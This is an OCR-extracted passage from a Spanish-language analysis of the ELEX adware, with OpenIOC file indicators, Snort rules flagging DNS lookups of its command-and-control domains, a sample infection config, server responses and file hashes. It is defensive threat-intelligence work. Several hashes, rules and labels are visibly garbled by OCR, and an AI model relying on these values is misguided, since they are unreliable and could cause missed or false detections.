<Context document="FileItem" search="FileItem/FullPath" type="mir"

/>
<Content type="string">\sfk\sfkex.dl1</Content>
</IndicatorItem>
</Indicator>
<Indicator operator="OR" id="624e5d11-a4b7-47be-bfdd-fl4efc7c7179">

<IndicatorItem id="1c5d6a57-f02c-43dc-8539-900ac4bcf488"
condition="contains">

<Context document="FileItem" search="FileItem/FullPath" type="mir"

/>
<Content type="string">\sfk\sfkex64.d11</Content>
</IndicatorItem>
</Indicator>
</Indicator>
</definition>

</ioc>

REGLA SNORT

alert udp any any -> any 53 (content:"|02|up|07]|soft365]|03|com"”; msg:"PUP
ELEX up.soft365.com Domain Request detected"; )

alert udp any any -> any 53 (content:"|02|xa|09]|xingcloud|03|com"; msg:"PUP
ELEX xa.xingcloud.com Domain Request detected"; )
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ANEXO Il - ARCHIVO “SFK.INI"

[tO0Is_Y[S]

ptid=SSFK
z=95bbb264b1e055014a4b3b4ghz520qdz3qbebmfo8z
ts=1446460726

guid=262929407_198339 5C7ACE48

ptid El valor es obtenido del nombre del ejecutable que ha realizado la
infeccioén.

guid Es generado a partir del nimero del disco duro de la mdquina
infectada.

ts Es una marca de tiempo generada con “GetTickCount”

z Valor obtenido por una peticién al servidor C&C
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ANEXO [Il = ARCHIVO “INSTALL”, “RUN", “HEARTBEAT", “Z"

cov-cert

Install {'stats""ok","time":"0.98 ms","message":"store 4 action and 4 update "}

run {'stats""ok","time":"0.90 ms","message":"store 2 action and 1 update "}

heartbeat | {"stats""ok""time""0.91 ms","message":"store 2 action and 0 update "}

Z cdf8652b8e25a08%9febba05g5z0z3g0gbw7mdc3w2g
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ANEXO IV - ARCHIVOS EXTRAIDOS DE “Yrrehs.zip”

SFKEX.exe 3df1e90f7131bcae’704afeb60b714098c

SFKEXé4.exe | 125b4997444c993f2d89bf1be433572a

SFKEX.dIl b1fc0d35c3ef49400ea5e96af?192ff7

SFKEXé4.dll | 531cd9fb144ebbbcc10d4f6215e04ad0
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